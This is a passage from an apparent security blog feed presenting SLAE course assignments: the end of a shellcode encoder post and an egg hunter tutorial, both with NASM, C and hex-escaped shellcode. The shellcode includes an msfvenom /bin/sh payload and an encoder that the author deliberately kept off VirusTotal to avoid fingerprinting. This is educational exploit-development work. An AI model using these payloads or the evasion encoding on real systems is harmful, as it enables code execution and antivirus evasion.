	&lt;span class=&quot;nl&quot;&gt;EncodedShellcode:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xd9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xe9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xc8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xd9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xc1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xd1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xca&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xe1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xaa&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s assembly, link and get the decoding shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./compile.sh shellcode_decoder&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;c&quot;&gt;# objdump -d ./shellcode_decoder|grep &apos;[0-9a-f]:&apos;|grep -v &apos;file&apos;|cut -f2 -d:|cut -f1-6 -d&apos; &apos;|tr -s &apos; &apos;|tr &apos;\t&apos; &apos; &apos;|sed &apos;s/ $//g&apos;|sed &apos;s/ /\\x/g&apos;|paste -d &apos;&apos; -s |sed &apos;s/^/&quot;/&apos;|sed &apos;s/$/&quot;/g&apos;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;eb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;5e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;aa&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;eb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ec&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fa&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fa&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ca&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;4f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;aa&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s update the &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment4/shellcode.c&quot;&gt;shellcode.c&lt;/a&gt; file and execute our decoding shellcode:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment4/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Remember that running our shellcode thanks to shellcode.c is useful because our shellcode will be located into the writable .data segment.&lt;br /&gt;
If we directly execute the shellcode_decoder executable, it will result in a segmentation fault because it will try to rewrite the EncodedShellcode variable located in the non writable .text segment (also useful to use the jmp/call/pop technique in order to avoid null bytes and to dynamically get the address of our encoded shellcode).&lt;/p&gt;

&lt;p&gt;We did not test it on &lt;a href=&quot;https://www.virustotal.com/&quot;&gt;VirusTotal&lt;/a&gt; in order to avoid the fingerprinting of the encoding scheme.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed this post, don’t hesitate to comment and share.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 3 - Egg hunter</title>
   <link href="https://phackt.org/slae-egg-hunter"/>
   <updated>2017-04-21T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-egg-hunter</id>
   <content type="html">&lt;p&gt;Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;So here we are for the third part of our shellcodes serie. Today we will deal with the concept of egg hunter shellcode.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-3&quot;&gt;Assignment 3:&lt;/h3&gt;

&lt;p&gt;Code is available on my &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment3&quot;&gt;github repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Study about the egg hunter shellcode&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Create a working demo of the Egghunter&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Should be configurable for different payloads&lt;/em&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what is an egg hunter and its related egg shellcode?&lt;/p&gt;

&lt;p&gt;While your exploiting buffer overflows, the shellcode you inject will face several constraints in order to properly execute, and the size limit is one of them. An idea is to stage the shellcode: the first stage will be a small shellcode looking for the effective and bigger second one.&lt;/p&gt;

&lt;p&gt;Here is a bit of litterature that may help to understand the egg hunter concept:&lt;br /&gt;
&lt;a href=&quot;http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf&quot;&gt;http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&quot;&gt;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The above second link will provide a good overview of the Linux memory layout.  For this exercise, we will use an in-memory egg hunter shellcode.&lt;/p&gt;

&lt;p&gt;So let’s try with a first example:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; we set a valid .text address into eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x50905091&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; we can avoid an 8 bytes tag in egg if the tag&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;                     &lt;span class=&quot;c1&quot;&gt;; can not be found in the egg hunter, that&apos;s why we decrement to look for &lt;/span&gt;
                                &lt;span class=&quot;c1&quot;&gt;; 0x50905090 - push eax, nop, push eax, nop&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;next_addr:&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;inc&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; do we found the tag ?&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jne&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;next_addr&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;                     &lt;span class=&quot;c1&quot;&gt;; yes we do so we jump to the egg&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;N.B: Our egg hunter on exploit-db: &lt;a href=&quot;https://www.exploit-db.com/exploits/41909/&quot;&gt;https://www.exploit-db.com/exploits/41909/&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now let’s update &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment3/shellcode.c&quot;&gt;shellcode.c&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt;&lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt;&lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90\x50\x90\x50&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// egg mark - do not remove&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Egg hunter shellcode Length:  %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Egg shellcode Length:  %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)())&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s run our egg hunter:  &lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment3/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect, but why did it work ?  In our shellcode.c the egg has been placed in the .data segment (global initialized variables). According to the following picture (anatomy of a program in memory), we can see that the .text, .data and .bss segments are contigous and readable:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/slae/assignment3/linuxflexibleaddressspacelayout.png&quot; alt=&quot;linuxflexibleaddressspacelayout.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;let’s check for our shellcode’s memory mapping in gdb:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment3/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1563&lt;/strong&gt; is our shellcode process id:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# cat /proc/1563/maps&lt;/span&gt;
08048000-08049000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
08049000-0804a000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
0804a000-0804b000 rwxp 00001000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
0804b000-0806c000 rwxp 00000000 00:00 0          &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;heap]
b7dfb000-b7fac000 r-xp 00000000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7fac000-b7fae000 r-xp 001b0000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7fae000-b7faf000 rwxp 001b2000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7faf000-b7fb2000 rwxp 00000000 00:00 0 
b7fd3000-b7fd6000 rwxp 00000000 00:00 0 
b7fd6000-b7fd9000 r--p 00000000 00:00 0          &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;vvar]
b7fd9000-b7fdb000 r-xp 00000000 00:00 0          &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
b7ffe000-b7fff000 r-xp 00022000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
b7fff000-b8000000 rwxp 00023000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
bffdf000-c0000000 rwxp 00000000 00:00 0          &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;stack]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

